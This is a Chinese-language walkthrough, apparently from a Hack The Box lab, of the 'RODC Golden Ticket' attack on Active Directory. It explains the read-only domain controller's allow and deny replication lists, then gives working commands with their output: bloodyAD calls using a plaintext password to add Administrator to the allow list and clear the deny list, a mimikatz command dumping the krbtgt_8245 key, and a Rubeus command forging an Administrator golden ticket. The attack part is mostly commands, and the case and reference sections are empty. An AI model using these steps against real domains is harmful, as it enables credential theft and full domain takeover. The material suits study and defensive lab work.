RODC黄金票据

"RODC Golden Ticket" (只读域控制器黄金票据) 是 Golden Ticket 攻击的一种特定变体,它利用了只读域控制器 (RODC) 的特性。

拥有 RODC的管理权限后, 可以从LSA中导出krbtgt_XXXXX 帐户的凭据。该哈希值可用于为 RODC 的 msDS-RevealOnDemandGroup 属性(允许列表)中任何帐户(但不在 msDS-NeverRevealGroup 属性(拒绝列表)中)伪造“RODC 黄金票据”。此票据可以提交给 RODC 或任何可访问的标准可写域控制器,以请求服务票据 (ST)。

1. RODC 的重要属性

msDS-RevealOnDemandGroup 与 msDS-NeverRevealGroup
这两个属性是 RODC(只读域控制器)密码复制策略 (Password Replication Policy, PRP) 的核心控制机制,存储在 RODC 的计算机账户对象(Computer 类)和 NTDS-DSA 对象上

  • msDS-RevealOnDemandGroup(允许列表):定义哪些用户、计算机、组的密码允许被缓存到该RODC上
  • msDS-NeverRevealGroup(拒绝列表):定义哪些用户、计算机、组的密码不允许被缓存到该RODC上
  • 拒绝列表优先级高于允许列表
  • msDS-RevealedList只读、系统自动维护,记录当前 RODC 已实际缓存 了哪些主体的密码

2. 利用

2.1. 修改允许、拒绝列表

为了横向到可写域控的管理权限,我们需要先在允许列表中添加管理员,在拒绝列表中移除管理

2.1.1. 在允许列表msDS-RevealOnDemandGroup中添加 Administrator对象

bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

查看一下是否更新成功

┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get object 'RODC01$' --attr msDS-RevealOnDemandGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Administrator,CN=Users,DC=garfield,DC=htb

2.1.2. 清空拒绝列表msDS-NeverRevealGroup

#移除之前
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get object 'RODC01$' --attr msDS-NeverRevealGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Account Operators,CN=Builtin,DC=garfield,DC=htb; CN=Server Operators,CN=Builtin,DC=garfield,DC=htb; CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb; CN=Administrators,CN=Builtin,DC=garfield,DC=htb

#移除
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  set object 'RODC01$' msDS-NeverRevealGroup
[+] RODC01$'s msDS-NeverRevealGroup has been updated

#移除后
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get  object 'RODC01$' --attr msDS-NeverRevealGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb

2.2. 制作RODC黄金票据

#mimikat抓取krbtgt_XXXXX密钥
c:\Users\Public> mimikatz.exe "log" "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

#制作跨域黄金票据
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357

这里貌似只能用Rubeus来进行制作,使用impacket-ticketer貌似制作不了,没有RODC的相关支持

2.2.1. 票据转换

echo -n 'BASE64 TGT' |tr -d ' ' |tr -d '\n' |base64 -d >ticket.kirbi
ticketConverter.py ticket.kirbi gold.ccache

3. 案例

4. Reference: